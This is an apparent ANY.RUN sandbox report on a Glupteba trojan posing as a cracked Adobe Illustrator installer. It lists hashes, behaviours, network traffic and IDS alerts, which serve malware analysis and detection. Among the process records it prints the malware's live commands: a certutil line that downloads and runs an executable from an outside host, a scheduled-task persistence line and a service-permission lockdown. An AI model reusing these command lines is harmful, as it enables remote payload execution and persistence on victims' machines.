File name:

Adobe+Illustrator+CS6+Full+Crack+With+Serial+Keygen+{Latest+2019}+Free-RTMD-AEIuk17nlgAA7xoCAFVBFwASANdJposA.exe

Full analysis: https://app.any.run/tasks/b849597b-3444-42a8-a2d9-562b71982f22
Verdict: Malicious activity
Threats:

Adware is a form of malware that targets users with unwanted advertisements, often disrupting their browsing experience. It typically infiltrates systems through software bundling, malicious websites, or deceptive downloads. Once installed, it may track user activity, collect sensitive data, and display intrusive ads, including pop-ups or banners. Some advanced adware variants can bypass security measures and establish persistence on devices, making removal challenging. Additionally, adware can create vulnerabilities that other malware can exploit, posing a significant risk to user privacy and system security.

Malware Trends Tracker     >>>
Analysis date: April 13, 2020, 09:14:52
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
trojan
glupteba
loader
adware
evasion
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

0083DA23232EC9E8040F46C0C2ABC07F

SHA1:

26C3A03C22EF7802F76721A7B3EF34CC893D9E6B

SHA256:

40A340087CC07780BFD61EAB92E40F1223A6DE88EC191BDEDEA0B91B16ECA2AA

SSDEEP:

98304:YKAmzR0w6g8cowIem0ku14W4rSXbKwyQHoUAsbrow/xI:1rCBg8cvIhLW4rSXbKwYpsbV/m

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Modifies exclusions in Windows Defender

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)

    • Known privilege escalation attack

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2976)
      • csrss.exe (PID: 2968)

    • GLUPTEBA was detected

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)
      • cloudnet.exe (PID: 984)

    • Changes the autorun value in the registry

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)
      • cloudnet.exe (PID: 984)

    • Changes settings of System certificates

      • csrss.exe (PID: 2512)

    • Uses Task Scheduler to autorun other applications

      • csrss.exe (PID: 2512)
      • csrss.exe (PID: 2304)

    • Loads the Task Scheduler COM API

      • schtasks.exe (PID: 2708)
      • schtasks.exe (PID: 2652)
      • mmc.exe (PID: 2312)
      • schtasks.exe (PID: 2532)
      • schtasks.exe (PID: 992)

    • Application was dropped or rewritten from another process

      • patch.exe (PID: 3044)
      • dsefix.exe (PID: 2728)
      • windefender.exe (PID: 2984)
      • windefender.exe (PID: 2892)
      • scheduled.exe (PID: 1004)
      • scheduled.exe (PID: 2032)
      • scheduled.exe (PID: 2180)
      • scheduled.exe (PID: 1816)
      • windefender.exe (PID: 1544)
      • scheduled.exe (PID: 2392)
      • cloudnet.exe (PID: 984)
      • scheduled.exe (PID: 2176)

    • Loads dropped or rewritten executable

      • patch.exe (PID: 3044)

    • Downloads executable files from the Internet

      • patch.exe (PID: 3044)
      • csrss.exe (PID: 2304)

    • Starts CertUtil for downloading files

      • cmd.exe (PID: 2972)
      • cmd.exe (PID: 1056)
      • cmd.exe (PID: 2716)

    • Connects to CnC server

      • cloudnet.exe (PID: 984)

  • SUSPICIOUS

    • Application launched itself

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 1440)
      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2304)
      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2612)
      • csrss.exe (PID: 2516)
      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2632)
      • csrss.exe (PID: 2428)
      • csrss.exe (PID: 1144)
      • csrss.exe (PID: 2836)
      • scheduled.exe (PID: 1004)
      • csrss.exe (PID: 296)
      • csrss.exe (PID: 2200)
      • csrss.exe (PID: 3064)
      • scheduled.exe (PID: 2180)
      • csrss.exe (PID: 3060)
      • csrss.exe (PID: 2808)
      • csrss.exe (PID: 3000)
      • csrss.exe (PID: 2456)
      • csrss.exe (PID: 2384)
      • scheduled.exe (PID: 2392)
      • csrss.exe (PID: 2560)
      • csrss.exe (PID: 2200)

    • Creates files in the Windows directory

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)
      • dsefix.exe (PID: 2728)
      • csrss.exe (PID: 2512)
      • certutil.exe (PID: 776)
      • certutil.exe (PID: 1692)
      • certutil.exe (PID: 2672)

    • Modifies the open verb of a shell class

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2976)
      • csrss.exe (PID: 2968)

    • Reads the machine GUID from the registry

      • CompMgmtLauncher.exe (PID: 2692)
      • patch.exe (PID: 3044)
      • netsh.exe (PID: 2432)
      • netsh.exe (PID: 2436)
      • certutil.exe (PID: 776)
      • mmc.exe (PID: 2312)
      • certutil.exe (PID: 1692)
      • CompMgmtLauncher.exe (PID: 2972)
      • certutil.exe (PID: 2672)

    • Starts CMD.EXE for commands execution

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2976)
      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)
      • csrss.exe (PID: 2512)
      • windefender.exe (PID: 2892)
      • csrss.exe (PID: 2968)
      • csrss.exe (PID: 2304)

    • Starts itself from another location

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)

    • Executable content was dropped or overwritten

      • a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe (PID: 2496)
      • csrss.exe (PID: 2512)
      • patch.exe (PID: 3044)
      • certutil.exe (PID: 776)
      • certutil.exe (PID: 1692)
      • certutil.exe (PID: 2672)
      • csrss.exe (PID: 2304)
      • cloudnet.exe (PID: 984)

    • Reads Internet Cache Settings

      • patch.exe (PID: 3044)

    • Low-level read access rights to disk partition

      • bcdedit.exe (PID: 2772)

    • Creates files in the driver directory

      • dsefix.exe (PID: 2728)
      • csrss.exe (PID: 2512)

    • Uses NETSH.EXE for network configuration

      • cmd.exe (PID: 2452)
      • cmd.exe (PID: 2580)

    • Starts SC.EXE for service management

      • cmd.exe (PID: 2844)
      • cmd.exe (PID: 2884)
      • cmd.exe (PID: 768)
      • cmd.exe (PID: 1852)
      • cmd.exe (PID: 2320)
      • cmd.exe (PID: 2812)
      • cmd.exe (PID: 2940)

    • Executed as Windows Service

      • windefender.exe (PID: 2984)

    • Executed via Task Scheduler

      • cmd.exe (PID: 2972)
      • csrss.exe (PID: 2428)
      • cmd.exe (PID: 1056)
      • csrss.exe (PID: 2200)
      • csrss.exe (PID: 3060)
      • cmd.exe (PID: 2716)

    • Removes files from Windows directory

      • certutil.exe (PID: 776)
      • certutil.exe (PID: 1692)
      • certutil.exe (PID: 2672)

    • Checks for external IP

      • cloudnet.exe (PID: 984)

    • Connects to unusual port

      • cloudnet.exe (PID: 984)

    • Creates files in the user directory

      • cloudnet.exe (PID: 984)

  • INFO

    • Reads settings of System Certificates

      • patch.exe (PID: 3044)
      • csrss.exe (PID: 2512)

    • Manual execution by user

      • mmc.exe (PID: 2440)
      • mmc.exe (PID: 2312)
      • IMEKLMG.EXE (PID: 2764)
      • IMEKLMG.EXE (PID: 1756)
      • csrss.exe (PID: 2808)
      • runonce.exe (PID: 1824)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (42.2)
.exe | Win64 Executable (generic) (37.3)
.dll | Win32 Dynamic Link Library (generic) (8.8)
.exe | Win32 Executable (generic) (6)
.exe | Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:03:19 10:14:35+01:00
PEType: PE32
LinkerVersion: 9
CodeSize: 3887104
InitializedDataSize: 4812288
UninitializedDataSize: -
EntryPoint: 0x1eab
OSVersion: 5
ImageVersion: -
SubsystemVersion: 5
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 19-Mar-2019 09:14:35
Detected languages:
  • Norwegian - Norway (Bokmal)
Debug artifacts:
  • C:\fazawepob.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000E8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 4
Time date stamp: 19-Mar-2019 09:14:35
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x003B4FFD
0x003B5000
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
7.99912
.rdata
0x003B6000
0x0000491A
0x00004A00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
6.39288
.data
0x003BB000
0x00484720
0x00012E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0.350334
.rsrc
0x00840000
0x00007DF0
0x00007E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.20374

Resources

Title
Entropy
Size
Codepage
Language
Type
1
4.58535
3752
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
2
5.30634
2216
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
3
5.55966
1736
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
4
5.68524
1384
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
5
4.40142
9640
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
6
4.84828
4264
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
7
5.17079
2440
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
8
5.53747
1128
UNKNOWN
Norwegian - Norway (Bokmal)
RT_ICON
9
2.53698
816
UNKNOWN
UNKNOWN
RT_CURSOR
10
2.5653
304
UNKNOWN
UNKNOWN
RT_CURSOR

Imports

KERNEL32.dll
MSIMG32.dll
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
226
Monitored processes
95
Malicious processes
19
Suspicious processes
10

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe no specs a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe no specs cmd.exe no specs compmgmtlauncher.exe no specs compmgmtlauncher.exe no specs compmgmtlauncher.exe a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe no specs a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe no specs a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe #GLUPTEBA a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe cmd.exe no specs netsh.exe no specs cmd.exe no specs netsh.exe no specs csrss.exe no specs csrss.exe schtasks.exe no specs schtasks.exe no specs patch.exe bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs bcdedit.exe no specs dsefix.exe no specs cmd.exe no specs sc.exe no specs cmd.exe no specs sc.exe no specs cmd.exe no specs sc.exe no specs windefender.exe no specs cmd.exe no specs sc.exe no specs windefender.exe no specs mmc.exe no specs mmc.exe cmd.exe no specs certutil.exe csrss.exe no specs csrss.exe no specs csrss.exe scheduled.exe no specs csrss.exe no specs scheduled.exe cmd.exe no specs certutil.exe csrss.exe no specs csrss.exe no specs csrss.exe scheduled.exe no specs csrss.exe no specs scheduled.exe windefender.exe no specs csrss.exe no specs cmd.exe no specs certutil.exe imeklmg.exe no specs imeklmg.exe no specs csrss.exe no specs runonce.exe no specs imeklmg.exe no specs imeklmg.exe no specs csrss.exe no specs csrss.exe no specs cmd.exe no specs compmgmtlauncher.exe no specs compmgmtlauncher.exe no specs csrss.exe csrss.exe compmgmtlauncher.exe schtasks.exe no specs schtasks.exe no specs csrss.exe no specs scheduled.exe no specs cmd.exe no specs sc.exe no specs csrss.exe no specs cmd.exe no specs sc.exe no specs cmd.exe no specs sc.exe no specs scheduled.exe csrss.exe csrss.exe no specs #GLUPTEBA cloudnet.exe

Process information

PID
CMD
Path
Indicators
Parent process
296C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe—csrss.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\windows\rss\csrss.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
768cmd.exe /C sc sdset WinmonFS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)C:\Windows\SysWOW64\cmd.exe—csrss.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
776certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe C:\Windows\system32\certutil.exe
cmd.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
CertUtil.exe
Exit code:
0
Version:
6.1.7601.18151 (win7sp1_gdr.130512-1533)
Modules
Images
c:\windows\system32\certutil.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\certcli.dll
c:\windows\system32\atl.dll
796"C:\Windows\system32\CompMgmtLauncher.exe" C:\Windows\system32\CompMgmtLauncher.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Computer Management Snapin Launcher
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\compmgmtlauncher.exe
c:\systemroot\system32\ntdll.dll
984"C:\Users\admin\AppData\Local\Temp\csrss\cloudnet.exe"C:\Users\admin\AppData\Local\Temp\csrss\cloudnet.exe
csrss.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
7.2.1.1
Modules
Images
c:\users\admin\appdata\local\temp\csrss\cloudnet.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
992schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /FC:\Windows\system32\schtasks.exe—csrss.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1004C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe /31340C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe—cmd.exe
User:
SYSTEM
Integrity Level:
SYSTEM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\csrss\scheduled.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
1056cmd.exe /C certutil.exe -urlcache -split -f https://biggames.online/app/app.exe C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\admin\AppData\Local\Temp\csrss\scheduled.exe /31340C:\Windows\system32\cmd.exe—taskeng.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1144C:\Windows\rss\csrss.exe C:\Windows\rss\csrss.exe—csrss.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\windows\rss\csrss.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
1440"C:\Users\admin\Downloads\a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe" C:\Users\admin\Downloads\a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\downloads\a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exe
c:\systemroot\system32\ntdll.dll
c:\systemroot\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\system32\kernel32.dll
c:\windows\syswow64\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\syswow64\kernelbase.dll
Total events
8 133
Read events
1 314
Write events
6 813
Delete events
6

Modification events

(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:Name
Value:
AncientSnowflake
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:Firewall
Value:
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:Defender
Value:
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:Servers
Value:
https://deepsound.live
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:UUID
Value:
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:Command
Value:
0000000000000000
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:FirstInstallDate
Value:
9E2D945E00000000
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:ServiceVersion
Value:
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:SC
Value:
0000000000000000
(PID) Process:(2976) a0cf09e4-cb60-47f2-a388-1dd0dfb3f705.exeKey:HKEY_CURRENT_USER\Software\Microsoft\af29c3b2
Operation:writeName:PGDSE
Value:
0000000000000000
Executable files
21
Suspicious files
5
Text files
1
Unknown types
3

Dropped files

PID
Process
Filename
Type
3044patch.exeC:\Users\admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\095BC104DF8F482AB8B6029096C1D22F2\download.error —
MD5:—
SHA256:—
3044patch.exeC:\Users\admin\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\095BC104DF8F482AB8B6029096C1D22F2\ntkrnlmp.pdb —
MD5:—
SHA256:—
3044patch.exeC:\Users\admin\AppData\Local\Temp\Symbols\winload_prod.pdb\91F34F989C2E4D268E95A3E2A74C1A5A1\download.error —
MD5:—
SHA256:—
2728dsefix.exeC:\Windows\system32\drivers\VBoxDrv.sys —
MD5:—
SHA256:—
776certutil.exeC:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\V3D8YJXE.txt —
MD5:—
SHA256:—
776certutil.exeC:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\app[1].exe —
MD5:—
SHA256:—
2512csrss.exeC:\Windows\windefender.exeexecutable
MD5:—
SHA256:—
776certutil.exeC:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\20047C5219171C654461F0EB91DAFF9Fbinary
MD5:—
SHA256:—
776certutil.exeC:\Users\admin\AppData\Local\Temp\csrss\scheduled.exeexecutable
MD5:—
SHA256:—
1692certutil.exeC:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Cookies\N8W31KP1.txt —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
56
TCP/UDP connections
80
DNS requests
15
Threats
22

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2512
csrss.exe
GET
400
204.79.197.219:443
https://msdl.microsoft.com/download/symbols/index2.txt
US
—
—
whitelisted
2512
csrss.exe
GET
302
204.79.197.219:443
https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/095BC104DF8F482AB8B6029096C1D22F2/ntkrnlmp.pdb
US
—
—
whitelisted
3044
patch.exe
GET
302
204.79.197.219:443
https://msdl.microsoft.com/download/symbols/ntkrnlmp.pdb/095BC104DF8F482AB8B6029096C1D22F2/ntkrnlmp.pdb
US
—
—
whitelisted
3044
patch.exe
GET
400
204.79.197.219:443
https://msdl.microsoft.com/download/symbols/index2.txt
US
—
—
whitelisted
3044
patch.exe
GET
302
204.79.197.219:443
https://msdl.microsoft.com/download/symbols/winload_prod.pdb/91F34F989C2E4D268E95A3E2A74C1A5A1/winload_prod.pdb
US
—
—
whitelisted
3044
patch.exe
GET
302
204.79.197.219:443
https://msdl.microsoft.com/download/symbols/winload_prod.pdb/91F34F989C2E4D268E95A3E2A74C1A5A1/winload_prod.pdb
US
—
—
whitelisted
3044
patch.exe
GET
404
104.24.121.129:443
https://1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live/api/cloudnet-url?c=383b6353fb723b35&uuid=1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b
US
—
—
unknown
3044
patch.exe
POST
404
104.24.121.129:443
https://1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live/api/poll
US
text
232 b
unknown
3044
patch.exe
GET
200
104.27.188.209:443
https://biggames.online/app/app.exe
US
executable
3.85 Mb
suspicious
3044
patch.exe
POST
404
104.24.121.129:443
https://1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live/api/poll
US
text
232 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2512
csrss.exe
104.24.121.129:443
1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live
Cloudflare Inc
US
unknown
3044
patch.exe
104.214.40.16:443
vsblobprodscussu5shard67.blob.core.windows.net
Microsoft Corporation
US
whitelisted
3044
patch.exe
204.79.197.219:443
msdl.microsoft.com
Microsoft Corporation
US
whitelisted
2512
csrss.exe
104.27.188.209:443
biggames.online
Cloudflare Inc
US
shared
776
certutil.exe
104.27.188.209:443
biggames.online
Cloudflare Inc
US
shared
776
certutil.exe
67.26.75.254:80
ctldl.windowsupdate.com
Level 3 Communications, Inc.
US
suspicious
2032
scheduled.exe
104.24.121.129:443
1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live
Cloudflare Inc
US
unknown
1692
certutil.exe
104.27.188.209:443
biggames.online
Cloudflare Inc
US
shared
1816
scheduled.exe
104.24.121.129:443
1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live
Cloudflare Inc
US
unknown
2304
csrss.exe
104.24.121.129:443
1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live
Cloudflare Inc
US
unknown

DNS requests

Domain
IP
Reputation
1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server2.deepsound.live
  • 104.24.121.129
  • 104.24.120.129
unknown
msdl.microsoft.com
  • 204.79.197.219
whitelisted
vsblobprodscussu5shard67.blob.core.windows.net
  • 104.214.40.16
unknown
vsblobprodscussu5shard62.blob.core.windows.net
  • 104.214.40.16
unknown
biggames.online
  • 104.27.188.209
  • 104.27.189.209
suspicious
ctldl.windowsupdate.com
  • 67.26.75.254
  • 8.241.121.126
  • 67.27.158.126
  • 67.27.159.254
  • 8.253.207.121
whitelisted
deepsound.live
  • 104.24.121.129
  • 104.24.120.129
suspicious
teredo.ipv6.microsoft.com
  • —
whitelisted
1635cb4b-ca7b-4a4c-8e38-99a8f8b66a4b.server3.deepsound.live
  • 104.24.121.129
  • 104.24.120.129
unknown
chatmusic.xyz
  • 104.18.48.126
  • 104.18.49.126
malicious

Threats

PID
Process
Class
Message
2304
csrss.exe
A Network Trojan was detected
ET TROJAN Possible JKDDOS download cl.exe
2304
csrss.exe
A Network Trojan was detected
ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016
2304
csrss.exe
Potentially Bad Traffic
ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile
2304
csrss.exe
Potentially Bad Traffic
AV INFO HTTP Request to a *.xyz domain
2304
csrss.exe
Misc activity
ET USER_AGENTS Go HTTP Client User-Agent
2304
csrss.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2304
csrss.exe
Misc activity
ET INFO EXE - Served Attached HTTP
984
cloudnet.exe
A Network Trojan was detected
ET TROJAN Win32.Glupteba/ClIEcker CnC Checkin
984
cloudnet.exe
A Network Trojan was detected
MALWARE [PTsecurity] Glupteba
984
cloudnet.exe
Attempted Information Leak
ET POLICY IP Check Domain (whatismyip in HTTP Host)
7 ETPRO signatures available at the full report
Process
Message
mmc.exe
Constructor: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
OnInitialize: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
AddIcons: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
mmc.exe
ProcessCommandLineArguments: Microsoft.TaskScheduler.SnapIn.TaskSchedulerSnapIn
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Adobe+Illustrator+CS6+Full+Crack+With+Serial+Keygen+{Latest+2019}+Free-RTMD-AEIuk17nlgAA7xoCAFVBFwASANdJposA.exe